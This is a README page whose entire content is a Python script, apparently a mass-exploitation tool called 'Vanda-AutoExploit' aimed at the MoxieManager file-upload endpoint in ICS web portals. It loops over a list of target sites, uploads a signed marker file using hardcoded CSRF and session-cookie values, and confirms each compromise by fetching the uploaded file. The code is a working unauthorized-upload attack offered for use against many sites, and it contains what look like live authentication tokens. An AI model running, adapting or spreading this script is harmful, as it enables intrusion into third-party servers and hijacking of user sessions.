README.md
Rendering markdown...
#!/usr/bin/env python3
import requests
import time
import sys
import re
import json
from urllib.parse import urljoin, urlparse
TARGET_FILE = "vandinha.txt"
PROBE_CONTENT = "prova do conceito por VandaTheGod salve rapaziada do discord oivin bom uai "
USER_UUID = "5d6b24cb-7bfe-4a6b-8581-4426bf0f4101"
def normalize_target(target):
if not target.startswith(('http://', 'https://')):
target = 'https://' + target
return target.rstrip('/')
def get_moxie_endpoint(base_url):
moxie_path = urljoin(base_url, "ICS/UI/Common/Scripts/tinymce/plugins/moxiemanager/api.ashx")
try:
r = requests.get(moxie_path + "?action=language&code=en", timeout=10)
return moxie_path if r.status_code == 200 else None
except:
return None
def get_correct_download_url(base_domain):
"""Retorna URL getfile.aspx CORRETA que funciona em TODOS os ICS"""
return f"https://{base_domain}/ICS/staticpages/getfile.aspx?target=/moxiemanager/files/users/{USER_UUID}/{TARGET_FILE}"
def smart_verify(session, base_domain, cookies):
"""Verifica usando o caminho USERS correto"""
main_url = get_correct_download_url(base_domain)
try:
print(f" → Verificando: {main_url}")
r = session.get(main_url, cookies=cookies, timeout=8)
print(f" Verify: {r.status_code} | {len(r.text)} bytes")
if r.status_code == 200:
content_ok = (PROBE_CONTENT in r.text or
PROBE_CONTENT.lower() in r.text.lower() or
TARGET_FILE in r.text)
size_ok = len(r.text) < 5000 and len(r.text) > 10
if content_ok or size_ok:
print(f" ✅ VULN CONFIRMADA! ({len(r.text)} bytes)")
return True, main_url
else:
print(f" ℹ️ Resposta: {r.text[:100]}...")
return False, None
except Exception as e:
print(f" Verify error: {e}")
return False, None
def exploit_moxie(session, moxie_url, cookies, base_domain):
print(f" 📁 Moxie encontrado")
files = {'file': (TARGET_FILE, PROBE_CONTENT, 'text/plain')}
params = {
'action': 'upload',
'path': '/1085255',
'name': TARGET_FILE,
'loaded': '0',
'total': str(len(PROBE_CONTENT)),
'id': 'null',
'csrf': 'E24607903E4DC7496732F267BAD48FF35D855DA9E362AB80E0340D5B5EC5F164',
'resolution': 'default'
}
try:
r = session.post(moxie_url, params=params, files=files, cookies=cookies, timeout=15)
print(f" ⬆️ Upload: {r.status_code}")
try:
data = json.loads(r.text)
if 'error' in data:
msg = data['error']['message']
if "exists" in msg.lower():
print(" ✅ ARQUIVO JÁ EXISTE = VULNERÁVEL!")
return True, get_correct_download_url(base_domain)
print(f" ⚠️ Error: {msg}")
else:
print(" ✅ Upload aceito")
except:
print(f" 📄 Raw: {r.text[:100]}")
time.sleep(2)
return smart_verify(session, base_domain, cookies)
except Exception as e:
print(f" ❌ Error: {e}")
return False, None
def main(targets_file):
# COOKIES ATUALIZADOS com os valores fornecidos
COOKIES = {
'.ASPXAUTH': '169B17918AB2A77E863048D815ED34505A3FA476FE38ABAF375D76BACD466018C22ADDEB40F9A68DC042113CD797C40B331F5CFD8A2CCCC35285773E600FB30CFABD7E76F19DE2CDC815A67E34F33F48D2D1C85CD08D7257F5EE356D275D122D',
'.sessionheartbeat': '3/30/2026 8:23:15 PM',
'ASP.NET_SessionId': 'jrms0jrdjrs2mfaqlsucgrib',
'SessionFixation.SecurityToken': 'vjmiZ7ksFjkYVZFZMW9LXztMXcpiQ2ZKyLznZaVSBKyXVhGj1X'
}
print("🚀 Vanda-AutoExploit v3.0 - ICS MoxieManager RCE")
print(f"📄 {TARGET_FILE} → '{PROBE_CONTENT}' | UUID: {USER_UUID}")
try:
with open(targets_file, 'r') as f:
targets = [normalize_target(line.strip()) for line in f if line.strip()]
except:
print("❌ Crie sites.txt")
sys.exit(1)
results = []
for i, target in enumerate(targets, 1):
print(f"\n[{i}/{len(targets)}] {target}")
session = requests.Session()
session.headers.update({
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36',
'Referer': f'{target}/ICS/',
'Origin': target,
'Accept': '*/*'
})
moxie_url = get_moxie_endpoint(target)
base_domain = urlparse(target).netloc
if moxie_url:
success, vuln_url = exploit_moxie(session, moxie_url, COOKIES, base_domain)
if success:
print(f" 🎯 VULN! {vuln_url}")
results.append((target, vuln_url))
else:
print(" ❌ Fail")
else:
print(" ⏭️ No Moxie")
print(f"\n{'='*80}")
print(f"🎯 RESULTADO FINAL: {len(results)}/{len(targets)} VULNERÁVEIS")
print("\n🔗 LINKS FUNCIONAIS:")
for target, url in results:
print(f" {target:<35} → {url}")
print(f"\n💾 {len(results)} arquivos 'vanda.txt' implantados!")
print("👉 Teste manual: curl -b cookies.txt URL")
if __name__ == "__main__":
main(sys.argv[1] if len(sys.argv) > 1 else 'sites.txt')